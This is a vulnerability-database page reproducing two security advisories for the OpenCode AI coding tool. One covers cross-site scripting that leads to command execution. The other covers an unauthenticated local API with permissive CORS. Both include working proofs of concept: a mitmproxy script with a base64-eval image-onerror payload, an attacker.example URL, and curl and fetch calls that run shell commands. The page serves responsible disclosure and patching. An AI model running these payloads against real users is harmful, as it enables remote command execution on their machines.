-Infinity
0

Vendor Risk Score

See how anoma compares to other vendors in security performance

View Risk Score →
Severity
9.4
EPSS
0.04%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on http://localhost:4096. From there, it is possible to run arbitrary commands on the local system using the /pty/ endpoints provided by the OpenCode API.

Code execution via OpenCode API

- The OpenCode API has /pty/ endpoints that allow spawning arbitrary processes on the local machine. - When you run opencode in your terminal, OpenCode automatically starts an HTTP server on localhost:4096 that exposes the API along with a web interface. - JavaScript can make arbitrary same-origin fetch() requests to the /pty/ API endpoints. Therefore, JavaScript execution on http://localhost:4096 gets you code execution on local the machine.

JavaScript execution on localhost:4096

The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.

This means controlling the LLM response for a chat session gets you JavaScript execution on the http://localhost:4096 origin. This alone would not be enough for a 1-click exploit, but there's functionality in packages/app/src/app.tsx to allow specifying a custom server URL in a ?url=... parameter:

javascript // packages/app/src/app.tsx const defaultServerUrl = iife(() => { const param = new URLSearchParams(document.location.search).get("url") if (param) return param // [truncated] return window.location.origin })

Using this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display ses45d2d9723ffeHN2DLrTYMz4mHn from the attacker-controlled server at https://opencode.attacker.example.

Note on exploitability

Because the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the ?url= parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of Fri, 09 Jan 2026 21:36:31 GMT. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0.

Proof of Concept

A simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.

1. Spawn an OpenCode instance in a Docker container

$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0

2. Create a file called plugin.py with the contents below

python import base64 import json

payload = """ (async () => { // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']}; const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']}; const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}}); const ptyid = (await r.json())['id']; await new Promise(r => setTimeout(r, 500)); await fetch('/pty/' + ptyid, {method: 'DELETE'}) window.location.replace('https://example.com'); })() """

Other messages have been removed from this codeblock for brevity maliciousmessages = [ # [truncated] { # [truncated] "parts": [ # [truncated] { "id": "prtba2d26ca0001fcRfwfEZ4bP7gF", "sessionID": "ses45d2d9723ffeHN2DLrTYMz4mHn", "messageID": "msgba2d269130016guS0KSZ0FY2J9", "type": "text", "text": f"Hello, World!\n<img src=\"/favicon.png\" onerror=\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\" style=\"display: none;\">", "time": { "start": 1767963258360, "end": 1767963258360 } }, # [truncated] ] } ]

malicioussession = {"id":"ses45d2d9723ffeHN2DLrTYMz4mHn","version":"1.0.220","projectID":"global","directory":"/","title":"Hello World!","time":{"created":1767963257052,"updated":1767963258366},"summary":{"additions":0,"deletions":0,"files":0}}

async def response(flow): if flow.request.path.split('?')[0] == '/session': flow.response.text = json.dumps([malicioussession], separators=(',', ':')) elif flow.request.path.split('?')[0] == '/session/ses45d2d9723ffeHN2DLrTYMz4mHn': flow.response.statuscode = 200 flow.response.text = json.dumps(malicioussession, separators=(',', ':')) elif flow.request.path.split('?')[0] == '/session/ses45d2d9723ffeHN2DLrTYMz4mHn/message': flow.response.text = json.dumps(maliciousmessages, separators=(',', ':'))

3. Start mitmproxy with the plugin in reverse proxy mode

$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096

4. Start OpenCode in your terminal as the victim

$ opencode

5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345

6. Confirm the file albert-was-here.txt was created in the /tmp/ directory

$ ls /tmp/ albert-was-here.txt

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
1.61%
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.

Summary

OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.

Details

When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:

- POST /session/:id/shell - Execute shell commands (server.ts:1401) - POST /pty - Create interactive terminal sessions (server.ts:267) - GET /file/content?path= - Read arbitrary files (server.ts:1868)

The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().

No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: ), enabling browser-based exploitation.

PoC

Local exploitation:

bash API="http://127.0.0.1:4096" # update with actual port SESSIONID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id') curl -s -X POST "$API/session/$SESSIONID/shell" -H "Content-Type: application/json" \ -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}' cat /tmp/pwned.txt # outputs: PWNED

Browser-based exploitation:

A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.

javascript // Malicious website JavaScript fetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}' }) .then(r => r.json()) .then(session => { fetch(http://127.0.0.1:4096/session/${session.id}/shell, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'}) }); });

Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.

Impact

Remote Code Execution via two vectors:

1. Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.

2. Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.

With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.

Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203